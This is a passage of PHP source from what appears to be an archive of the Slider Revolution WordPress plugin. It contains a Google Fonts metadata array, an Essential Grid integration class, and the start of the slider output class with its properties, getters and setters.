Mayek' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'meetei-mayek'), 'category' => 'sans-serif' ), 'Noto Sans Lepcha' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'lepcha'), 'category' => 'sans-serif' ), 'Ole' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Mongolian' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'mongolian'), 'category' => 'sans-serif' ), 'Flow Block' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Sans Deseret' => array( 'variants' => array('400'), 'subsets' => array('deseret'), 'category' => 'sans-serif' ), 'Rubik Marker Hatch' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Canadian Aboriginal' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('canadian-aboriginal', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Sora Sompeng' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'sora-sompeng'), 'category' => 'sans-serif' ), 'Mingzat' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'lepcha'), 'category' => 'sans-serif' ), 'Rubik Burned' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Bamum' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('bamum', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Reem Kufi Ink' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Flow Rounded' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Sans Carian' => array( 'variants' => array('400'), 'subsets' => array('carian'), 'category' => 'sans-serif' ), 'Noto Serif Myanmar' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('myanmar'), 'category' => 'serif' ), 'Noto Serif Ahom' => array( 'variants' => array('400'), 'subsets' => array('ahom', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Traditional Nushu' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'nushu'), 'category' => 'sans-serif' ), 'Rubik Maze' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Ingrid Darling' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Sharada' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'sharada'), 'category' => 'sans-serif' ), 'Noto Sans Tagalog' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tagalog'), 'category' => 'sans-serif' ), 'Noto Serif NP Hmong' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'nyiakeng-puachue-hmong'), 'category' => 'serif' ), 'Noto Sans Glagolitic' => array( 'variants' => array('400'), 'subsets' => array('glagolitic'), 'category' => 'sans-serif' ), 'Noto Sans Avestan' => array( 'variants' => array('400'), 'subsets' => array('avestan', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Balinese' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('balinese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Ugaritic' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'ugaritic'), 'category' => 'sans-serif' ), 'Noto Sans Marchen' => array( 'variants' => array('400'), 'subsets' => array('marchen'), 'category' => 'sans-serif' ), 'Noto Sans Egyptian Hieroglyphs' => array( 'variants' => array('400'), 'subsets' => array('egyptian-hieroglyphs'), 'category' => 'sans-serif' ), 'Noto Sans Miao' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'miao'), 'category' => 'sans-serif' ), 'Noto Sans Imperial Aramaic' => array( 'variants' => array('400'), 'subsets' => array('imperial-aramaic'), 'category' => 'sans-serif' ), 'Noto Sans Cuneiform' => array( 'variants' => array('400'), 'subsets' => array('cuneiform'), 'category' => 'sans-serif' ), 'Padyakke Expanded One' => array( 'variants' => array('400'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Cham' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cham', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Medefaidrin' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'medefaidrin'), 'category' => 'sans-serif' ), 'Noto Sans Kayah Li' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('kayah-li', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Serif Gurmukhi' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Sans Brahmi' => array( 'variants' => array('400'), 'subsets' => array('brahmi'), 'category' => 'sans-serif' ), 'Noto Sans Vai' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vai'), 'category' => 'sans-serif' ), 'Noto Sans Old Hungarian' => array( 'variants' => array('400'), 'subsets' => array('old-hungarian'), 'category' => 'sans-serif' ), 'Noto Sans Siddham' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'siddham'), 'category' => 'sans-serif' ), 'Noto Serif Oriya' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'oriya'), 'category' => 'serif' ), 'Noto Sans Inscriptional Pahlavi' => array( 'variants' => array('400'), 'subsets' => array('inscriptional-pahlavi'), 'category' => 'sans-serif' ), 'Noto Sans Ol Chiki' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'ol-chiki'), 'category' => 'sans-serif' ), 'Noto Sans Tifinagh' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tifinagh'), 'category' => 'sans-serif' ), 'Noto Sans Yi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'yi'), 'category' => 'sans-serif' ), 'Noto Serif Grantha' => array( 'variants' => array('400'), 'subsets' => array('grantha', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Sans Grantha' => array( 'variants' => array('400'), 'subsets' => array('grantha', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Syriac' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'syriac'), 'category' => 'sans-serif' ), 'Noto Sans Chakma' => array( 'variants' => array('400'), 'subsets' => array('chakma', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Old Turkic' => array( 'variants' => array('400'), 'subsets' => array('old-turkic'), 'category' => 'sans-serif' ), 'Noto Serif Yezidi' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('yezidi'), 'category' => 'serif' ), 'Noto Sans Tai Tham' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'tai-tham'), 'category' => 'sans-serif' ), 'Noto Sans Batak' => array( 'variants' => array('400'), 'subsets' => array('batak', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Lydian' => array( 'variants' => array('400'), 'subsets' => array('lydian'), 'category' => 'sans-serif' ), 'Noto Sans Buginese' => array( 'variants' => array('400'), 'subsets' => array('buginese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Serif Dogra' => array( 'variants' => array('400'), 'subsets' => array('dogra'), 'category' => 'serif' ), 'Noto Sans Tagbanwa' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tagbanwa'), 'category' => 'sans-serif' ), 'Noto Sans SignWriting' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'signwriting'), 'category' => 'sans-serif' ), 'Noto Sans Zanabazar Square' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'zanabazar-square'), 'category' => 'sans-serif' ), 'Noto Sans Buhid' => array( 'variants' => array('400'), 'subsets' => array('buhid', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Lisu' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'lisu'), 'category' => 'sans-serif' ), 'Noto Sans Psalter Pahlavi' => array( 'variants' => array('400'), 'subsets' => array('psalter-pahlavi'), 'category' => 'sans-serif' ), 'Noto Sans Sundanese' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'sundanese'), 'category' => 'sans-serif' ), 'Noto Sans Old Persian' => array( 'variants' => array('400'), 'subsets' => array('old-persian'), 'category' => 'sans-serif' ), 'Noto Sans Mro' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'mro'), 'category' => 'sans-serif' ), 'Noto Sans Multani' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'multani'), 'category' => 'sans-serif' ), 'Noto Sans Hanunoo' => array( 'variants' => array('400'), 'subsets' => array('hanunoo', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Serif Balinese' => array( 'variants' => array('400'), 'subsets' => array('balinese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Sans Inscriptional Parthian' => array( 'variants' => array('400'), 'subsets' => array('inscriptional-parthian', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Mende Kikakui' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'mende-kikakui'), 'category' => 'sans-serif' ), 'Noto Sans New Tai Lue' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'new-tai-lue'), 'category' => 'sans-serif' ), 'Noto Sans Rejang' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'rejang'), 'category' => 'sans-serif' ), 'Noto Sans Gunjala Gondi' => array( 'variants' => array('400'), 'subsets' => array('gunjala-gondi'), 'category' => 'sans-serif' ), 'Noto Sans Tai Le' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tai-le'), 'category' => 'sans-serif' ), 'Noto Sans Palmyrene' => array( 'variants' => array('400'), 'subsets' => array('palmyrene'), 'category' => 'sans-serif' ), 'Noto Sans Takri' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'takri'), 'category' => 'sans-serif' ), 'Noto Sans Caucasian Albanian' => array( 'variants' => array('400'), 'subsets' => array('caucasian-albanian'), 'category' => 'sans-serif' ), 'Noto Sans Wancho' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'wancho'), 'category' => 'sans-serif' ), 'Noto Sans Ogham' => array( 'variants' => array('400'), 'subsets' => array('ogham'), 'category' => 'sans-serif' ), 'Noto Sans Hatran' => array( 'variants' => array('400'), 'subsets' => array('hatran'), 'category' => 'sans-serif' ), 'Noto Sans Pahawh Hmong' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'pahawh-hmong'), 'category' => 'sans-serif' ), 'Noto Sans Old North Arabian' => array( 'variants' => array('400'), 'subsets' => array('old-north-arabian'), 'category' => 'sans-serif' ), 'Noto Sans Linear A' => array( 'variants' => array('400'), 'subsets' => array('linear-a'), 'category' => 'sans-serif' ), 'Noto Sans Hanifi Rohingya' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('hanifi-rohingya', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Runic' => array( 'variants' => array('400'), 'subsets' => array('runic'), 'category' => 'sans-serif' ), 'Noto Sans NKo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'nko'), 'category' => 'sans-serif' ), 'Noto Sans Old South Arabian' => array( 'variants' => array('400'), 'subsets' => array('old-south-arabian'), 'category' => 'sans-serif' ), 'Noto Sans Khudawadi' => array( 'variants' => array('400'), 'subsets' => array('khudawadi'), 'category' => 'sans-serif' ), 'Noto Sans Elbasan' => array( 'variants' => array('400'), 'subsets' => array('elbasan', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Newa' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'newa'), 'category' => 'sans-serif' ), 'Noto Sans Tamil Supplement' => array( 'variants' => array('400'), 'subsets' => array('tamil-supplement'), 'category' => 'sans-serif' ), 'Noto Sans Lycian' => array( 'variants' => array('400'), 'subsets' => array('lycian'), 'category' => 'sans-serif' ), 'Noto Sans Masaram Gondi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'masaram-gondi'), 'category' => 'sans-serif' ), 'Noto Sans Kharoshthi' => array( 'variants' => array('400'), 'subsets' => array('kharoshthi', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Indic Siyaq Numbers' => array( 'variants' => array('400'), 'subsets' => array('indic-siyaq-numbers'), 'category' => 'sans-serif' ), 'Noto Sans Saurashtra' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'saurashtra'), 'category' => 'sans-serif' ), 'Noto Sans Modi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'modi'), 'category' => 'sans-serif' ), 'Noto Sans Kaithi' => array( 'variants' => array('400'), 'subsets' => array('kaithi'), 'category' => 'sans-serif' ), 'Noto Sans Warang Citi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'warang-citi'), 'category' => 'sans-serif' ), 'Noto Sans Mayan Numerals' => array( 'variants' => array('400'), 'subsets' => array('mayan-numerals'), 'category' => 'sans-serif' ), 'Noto Sans Khojki' => array( 'variants' => array('400'), 'subsets' => array('khojki', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Meroitic' => array( 'variants' => array('400'), 'subsets' => array('meroitic'), 'category' => 'sans-serif' ), 'Noto Sans Phoenician' => array( 'variants' => array('400'), 'subsets' => array('phoenician'), 'category' => 'sans-serif' ), 'Noto Sans Pau Cin Hau' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'pau-cin-hau'), 'category' => 'sans-serif' ), 'Noto Sans Osmanya' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'osmanya'), 'category' => 'sans-serif' ), 'Noto Sans Tirhuta' => array( 'variants' => array('400'), 'subsets' => array('tirhuta'), 'category' => 'sans-serif' ), 'Noto Sans Linear B' => array( 'variants' => array('400'), 'subsets' => array('linear-b'), 'category' => 'sans-serif' ), 'Noto Sans Duployan' => array( 'variants' => array('400'), 'subsets' => array('duployan'), 'category' => 'sans-serif' ), 'Noto Sans Bhaiksuki' => array( 'variants' => array('400'), 'subsets' => array('bhaiksuki'), 'category' => 'sans-serif' ), 'Noto Sans Soyombo' => array( 'variants' => array('400'), 'subsets' => array('soyombo'), 'category' => 'sans-serif' ), 'Noto Sans Old Sogdian' => array( 'variants' => array('400'), 'subsets' => array('old-sogdian'), 'category' => 'sans-serif' ), 'Noto Sans Sogdian' => array( 'variants' => array('400'), 'subsets' => array('sogdian'), 'category' => 'sans-serif' ), 'Noto Sans Elymaic' => array( 'variants' => array('400'), 'subsets' => array('elymaic'), 'category' => 'sans-serif' ), 'Noto Sans Mahajani' => array( 'variants' => array('400'), 'subsets' => array('mahajani'), 'category' => 'sans-serif' ), 'Noto Sans Manichaean' => array( 'variants' => array('400'), 'subsets' => array('manichaean'), 'category' => 'sans-serif' ), 'Noto Sans Nabataean' => array( 'variants' => array('400'), 'subsets' => array('nabataean'), 'category' => 'sans-serif' ), 'Noto Sans Old Permic' => array( 'variants' => array('400'), 'subsets' => array('old-permic'), 'category' => 'sans-serif' ), 'Noto Sans Shavian' => array( 'variants' => array('400'), 'subsets' => array('shavian'), 'category' => 'sans-serif' ), 'Noto Sans Mandaic' => array( 'variants' => array('400'), 'subsets' => array('mandaic'), 'category' => 'sans-serif' ), 'Noto Sans Phags Pa' => array( 'variants' => array('400'), 'subsets' => array('phags-pa'), 'category' => 'sans-serif' ), );includes/extension.class.php000060400000014602151724235750012215 0ustar00 * @link https://www.sliderrevolution.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderExtension { public function __construct() { $this->init_essential_grid_extensions(); } /*************************** * Setup part for Revslider inclusion into Essential Grid ***************************/ /** * Do all initializations for RevSlider integration */ public function init_essential_grid_extensions(){ if(!class_exists('Essential_Grid')) return false; //only add if Essential Grid is installed add_filter('essgrid_set_ajax_source_order', array($this, 'add_slider_to_eg_ajax')); add_filter('essgrid_handle_ajax_content', array($this, 'set_slider_values_to_eg_ajax'), 10, 4); add_action('essgrid_add_meta_options', array($this, 'add_eg_additional_meta_field')); add_action('essgrid_save_meta_options', array($this, 'save_eg_additional_meta_field'), 10, 2); //only do on frontend add_action('admin_head', array($this, 'add_eg_additional_inline_javascript')); add_action('wp_footer', array($this, 'add_eg_additional_inline_javascript')); } /** * Add Slider to the List of choosable media */ public function add_slider_to_eg_ajax($media){ $media['revslider'] = array('name' => __('Slider Revolution', 'revslider'), 'type' => 'ccw'); return $media; } /** * Add Slider to the List of choosable media */ public function set_slider_values_to_eg_ajax($handle, $media_sources, $post, $grid_id){ if($handle !== 'revslider') return false; $slider_source = ''; $values = get_post_custom($post['ID']); if(isset($values['eg_sources_revslider'])){ if(isset($values['eg_sources_revslider'][0])) $slider_source = (isset($values['eg_sources_revslider'][0])) ? $values['eg_sources_revslider'][0] : ''; else $slider_source = (isset($values['eg_sources_revslider'])) ? $values['eg_sources_revslider'] : ''; } if($slider_source === ''){ return false; }else{ return ' data-ajaxtype="'.$handle.'" data-ajaxsource="'.$slider_source.'"'; } } /** * Adds custom meta field into the essential grid meta box for post/pages */ public function add_eg_additional_meta_field($values){ $sld = new RevSliderSlider(); $sliders = $sld->get_sliders(); $shortcodes = array(); if(!empty($sliders)){ $first = true; foreach($sliders as $slider){ $name = $slider->get_param('shortcode','false'); if($name != 'false'){ $shortcodes[$slider->get_id()] = $name; $first = false; } } } $selected_slider = (isset($values['eg_sources_revslider'])) ? $values['eg_sources_revslider'] : ''; if($selected_slider == ''){ $selected_slider = array(); $selected_slider[0] = ''; } ?>

            * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); global $rs_double_jquery_script; global $rs_material_icons_css; global $rs_material_icons_css_parsed; global $rs_slider_serial; global $rs_ids_collection; global $rs_preview_mode; global $rs_js_collection; global $rs_css_collection; global $rs_revicons; global $rs_youtube_api_loaded; $rs_double_jquery_script = false; $rs_material_icons_css = false; $rs_material_icons_css_parsed = false; $rs_slider_serial = 0; $rs_ids_collection = array(); $rs_preview_mode = false; $rs_js_collection = array('revapi' => array(), 'js' => array(), 'minimal' => ''); $rs_css_collection = array(); $rs_revicons = false; $rs_youtube_api_loaded = false; class RevSliderOutput extends RevSliderFunctions { //START transfered from the layer add process and some of these are only filled if putSlides() is called public $zIndex = 1; //public $in_class_usage = array(); public $enabled_sizes = array(); public $adv_resp_sizes = array(); public $icon_sets = array();//RevSliderBase::set_icon_sets(array()); public $container_mode = ''; public $row_zindex = 0; //END transfered from the layer add process and some of these are only filled if putSlides() is called /** * variables for error handling, to know if we need to close the div or not **/ public $rs_module_wrap_open = false; public $rs_module_open = false; public $rs_module_wrap_closed = false; public $rs_module_closed = false; public $rs_custom_navigation_css = ''; /** * ShortCode based Global Values * usage : Is Module to emebed as Modal ? * sc_layout : overwrite original module Layout, * offset : padding and margin of the wrapping Module * modal : Modal Settings **/ public $usage = ''; public $sc_layout = ''; public $offset = ''; public $modal = ''; public $ajax_loaded = false; /** * if set to true, needed js variables for frontend actions will be added **/ public $frontend_action = false; /** * holds the layer depth, used for having a more structured HTML **/ public $layer_depth = ''; /** * holds the current slider **/ public $slider; /** * holds the current slide **/ private $slide; /** * holds the current slides of the slider **/ private $slides; /** * holds the current layers of a slide **/ private $layers; /** * holds the current used layer **/ private $layer; /** * holds the current slider id **/ private $slider_id = 0; /** * holds the current layers of a slide * @before: RevSliderOutput::$slideID **/ private $slide_id; /** * holds the current layer unique id **/ private $uid; /** * if set, these will be pushed inside the Slider * @before: RevSliderOutput::$gal_ids **/ public $gallery_ids = array(); /** * holds all the hover css in ids of the layers **/ public $hover_css = array(); /** * holds all the classes, that are already used in layers * @before: RevSliderOutput::$class_include **/ public $classes = array(); /** * holds all additions to the current layer getting printed **/ public $layer_additions = array(); /** * holds if static layers should be done **/ private $do_static = true; /** * if set, the Slider will only be added if the current page/post meets what is into this variable * @before: RevSliderOutput::$putIn **/ public $add_to = ''; /** * if set to true we are in preview mode * @before: RevSliderOutput::$previewMode **/ private $preview_mode = false; /** * if set, the Slider will take changes on what is added to this array * @before: RevSliderOutput::$settings **/ public $custom_settings = array(); /** * if set, the Slider will take changes on the selected skin **/ public $custom_skin = ''; /** * holds the skin data to change layers based on **/ public $custom_skin_data = array(); /** * if set to true the markup will be exported * @before: RevSliderOutput::$markup_export **/ private $markup_export = false; /** * if set, the Slider will take order changes on the order in this array * @before: RevSliderOutput::$order **/ public $custom_order = array(); /** * set if only published will be used **/ private $only_published = true; /** * holds the number index of all slides * @before: RevSliderOutput::$slidesNumIndex **/ private $slides_num_index; /** * if set to true tells the plugin that there is only one Slide from now on * @before: RevSliderOutput::$hasOnlyOneSlide; **/ private $is_single_slide = false; /** * holds all the static slide data including layers **/ private $static_slide = array(); /** * set the language here, used for WPML * @before: RevSliderOutput::$sliderLang **/ private $language = 'all'; /** * holds the current JavaScript revapi **/ private $revapi; /** * holds the current html id **/ private $html_id; /** * holds the current html id **/ private $orig_html_id = false; /** * knows if we are currently processing a static slide **/ private $is_static = false; /** * holds the inline js for adding it to footer **/ //private $rev_inline_js = ''; /** * holds slider that are loaded for modal cover checks **/ private $modal_sliders = array(); /** * holds easings that the slider is using **/ private $easings = array(); /** * holds easings that the slider is using **/ private $caching = false; /** * defines if javascript is changed as its pushed to the footer or not **/ private $full_js = true; /** * defines if this slider has in any way a youtube layer or slide that is used **/ private $youtube_exists = false; /** * defines if the exception should be visible to the visitor or only in the console **/ private $console_exception = false; /** * stands for JavaScript Tab Addition and defines how many tabs there should be added to the JavaScript prints to make everything better looking in HTML **/ private $JTA = RS_T3; /** * variables for get_frames */ private $_base; private $_split; private $_mask; private $_sfx; private $_reverse; private $hv; /** * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * old version of check_add_to() **/ public static function isPutIn($empty_is_false = false){ $o = new RevSliderOutput(); return $o->check_add_to($empty_is_false); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * pre init the static slide */ public function __construct(){ parent::__construct(); $this->static_slide = new RevSliderSlide(); $this->init_get_frames_vars(); } /** * set the current slider_id */ public function set_slider_id($sid){ $this->slider_id = apply_filters('revslider_set_slider_id', $sid, $this); } /** * set the add_to variable */ public function set_add_to($add_to) { $this->add_to = apply_filters('revslider_set_add_to', $add_to, $this); } /** * get the add_to variable */ public function get_add_to(){ return apply_filters('revslider_get_add_to', trim(strtolower($this->add_to)), $this); } /** * set the slider manually * @since: 6.0 */ public function set_slider($slider){ $this->slider = apply_filters('revslider_set_slider', $slider, $this); } /** * get the last slider after the output * @before: RevSliderOutput::getSlider() */ public function get_slider(){ return apply_filters('revslider_get_slider', $this->slider, $this); } /** * get the current slider_id */ public function get_slider_id(){ return apply_filters('revslider_get_slider_id', $this->slider_id, $this); } /** * get the current revapi for JavaScript */ public function get_revapi(){ return $this->revapi; } /** * set the current revapi for JavaScript */ public function set_revapi($revapi){ $this->revapi = $revapi; } /** * set the HTML ID * @since 6.1.6: added option to check for duplications */ public function set_html_id($html_id, $check_for_duplication = true){ global $rs_ids_collection; if($check_for_duplication){ //check if it already exists, if yes change it and add attribute for console output if(in_array($html_id, $rs_ids_collection, true)){ $this->orig_html_id = $html_id; //set the original_html_id to push a console message $i = 0; do{ $i++; }while(in_array($html_id.'_'.$i, $rs_ids_collection, true)); $html_id .= '_'.$i; } } if(!in_array($html_id, $rs_ids_collection)) $rs_ids_collection[] = $html_id; $this->html_id = apply_filters('revslider_set_html_id', $html_id, $this); } /** * set slide slide_id */ public function set_slide_id($slide_id){ $this->slide_id = apply_filters('revslider_set_slide_id', $slide_id, $this); } /** * set the slides so that it can be used from anywhere **/ public function set_current_slides($slides){ $this->slides = $slides; } /** * get the slides so that it can be used from anywhere **/ public function get_current_slides(){ return $this->slides; } /** * get slide slide_id */ public function get_slide_id(){ return apply_filters('revslider_get_slide_id', $this->slide_id, $this); } /** * set slide layers */ public function set_layers($layers){ $this->layers = apply_filters('revslider_set_layers', $layers, $this); } /** * get slide layers */ public function get_layers(){ return apply_filters('revslider_get_layers', $this->layers, $this); } /** * set slide layer */ public function set_layer($layer){ $this->layer = apply_filters('revslider_set_layer', $layer, $this); } /** * get slide layer */ public function get_layer(){ return apply_filters('revslider_get_layer', $this->layer, $this); } /** * get the HTML ID * @before: RevSliderOutput::getSliderHtmlID */ public function get_html_id($raw = true){ $html_id = $this->html_id; $html_id = (!$raw) ? preg_replace("/[^a-zA-Z0-9]/", "", $html_id) : $html_id; return apply_filters('revslider_get_html_id', $html_id, $this, $raw); } /** * set static_slide data and layers */ public function set_static_slide($slide){ $this->static_slide = apply_filters('revslider_set_static_slide', $slide, $this); } /** * get static_slide data and layers */ public function get_static_slide(){ return apply_filters('revslider_get_static_slide', $this->static_slide, $this); } /** * get do_static */ public function get_do_static(){ return apply_filters('revslider_get_do_static_layers', $this->do_static, $this); } /** * set the output into ajax loaded mode * so that i.e. fonts are pushed into footer */ public function set_ajax_loaded(){ $this->ajax_loaded = true; } /** * get current layer depth */ public function ld(){ return $this->layer_depth; } /** * increase current layer depth * this is only for the HTML looks */ public function increase_layer_depth(){ $this->layer_depth .= ' '; } /** * decrease current layer depth * this is only for the HTML looks */ public function decrease_layer_depth(){ if(!empty($this->layer_depth)){ $this->layer_depth = substr($this->layer_depth, 0, -1); } } /** * set the custom settings */ public function set_custom_settings($settings){ $settings = ($settings !== '' && !is_array($settings)) ? json_decode(str_replace(array('({', '})', "'"), array('[', ']', '"'), $settings), true) : $settings; $this->custom_settings = apply_filters('revslider_set_custom_settings', $settings, $this); } /** * get the custom settings */ public function get_custom_settings(){ return apply_filters('revslider_get_custom_settings', $this->custom_settings, $this); } /** * set the custom settings */ public function set_custom_skin($skin){ $this->custom_skin = apply_filters('revslider_set_custom_skin', $skin, $this); } /** * get the custom settings */ public function get_custom_skin(){ return apply_filters('revslider_get_custom_skin', $this->custom_skin, $this); } /** * set the current layer unique id **/ public function set_layer_unique_id(){ $layer = $this->get_layer(); $uid = $this->get_val($layer, 'uid'); if($uid == '' && $uid !== 0 && $uid !== '0' ) $uid = $this->zIndex; $this->uid = apply_filters('revslider_set_layer_unique_id', $uid, $layer, $this); } /** * get the current layer unique id **/ public function get_layer_unique_id(){ return apply_filters('revslider_get_layer_unique_id', $this->uid, $this); } /** * get the preview */ public function get_preview_mode(){ return apply_filters('revslider_get_preview_mode', $this->preview_mode, $this); } /** * set the preview_mode */ public function set_preview_mode($preview_mode){ global $rs_preview_mode; $this->preview_mode = apply_filters('revslider_set_preview_mode', $preview_mode, $this); $rs_preview_mode = $this->preview_mode; } /** * set the markup_export variable */ public function set_markup_export($markup_export){ $this->markup_export = apply_filters('revslider_set_markup_export', $markup_export, $this); } /** * get the markup_export variable */ public function get_markup_export(){ return apply_filters('revslider_get_markup_export', $this->markup_export, $this); } /** * get the custom order */ public function get_custom_order(){ return apply_filters('revslider_get_custom_order', $this->custom_order, $this); } /** * get the language */ public function get_language(){ return apply_filters('revslider_get_language', $this->language, $this); } /** * set the language */ public function change_language($language){ $this->language = apply_filters('revslider_change_language', $language, $this); } /** * set the custom order */ public function set_custom_order($order){ $order = ($order !== '' && !is_array($order)) ? explode(',', $order) : $order; $this->custom_order = apply_filters('revslider_set_custom_settings', $order, $this); } /** * set published */ public function set_only_published($published){ $this->only_published = apply_filters('revslider_set_published', $published, $this); } /** * get published */ public function get_only_published(){ return apply_filters('revslider_get_published', $this->only_published); } /** * set slides_num_index */ public function set_slides_num_index($index){ $this->slides_num_index = apply_filters('revslider_set_slides_num_index', $index, $this); } /** * get slides_num_index */ public function get_slides_num_index(){ return apply_filters('revslider_get_slides_num_index', $this->slides_num_index, $this); } /** * set the gallery ids variable * @before: RevSliderOutput::did not exist */ public function set_gallery_ids($ids){ $this->gallery_ids = apply_filters('revslider_set_gallery_ids', $ids, $this); } /** * get the gallery ids variable * @before: RevSliderOutput::did not exist */ public function get_gallery_ids(){ return apply_filters('revslider_get_gallery_ids', $this->gallery_ids, $this); } /** * set is_single_slide */ public function set_is_single_slide($single){ $this->is_single_slide = apply_filters('revslider_set_is_single_slide', $single, $this); } /** * get is_single_slide */ public function get_is_single_slide(){ return apply_filters('revslider_get_is_single_slide', $this->is_single_slide, $this); } /** * set hover css */ public function set_hover_css($css){ if(!empty($css)){ foreach($css as $id => $_css){ $this->hover_css[$id] = $_css; } } } /** * get is_single_slide */ public function get_hover_css(){ return $this->hover_css; } /** * set slide data and layers 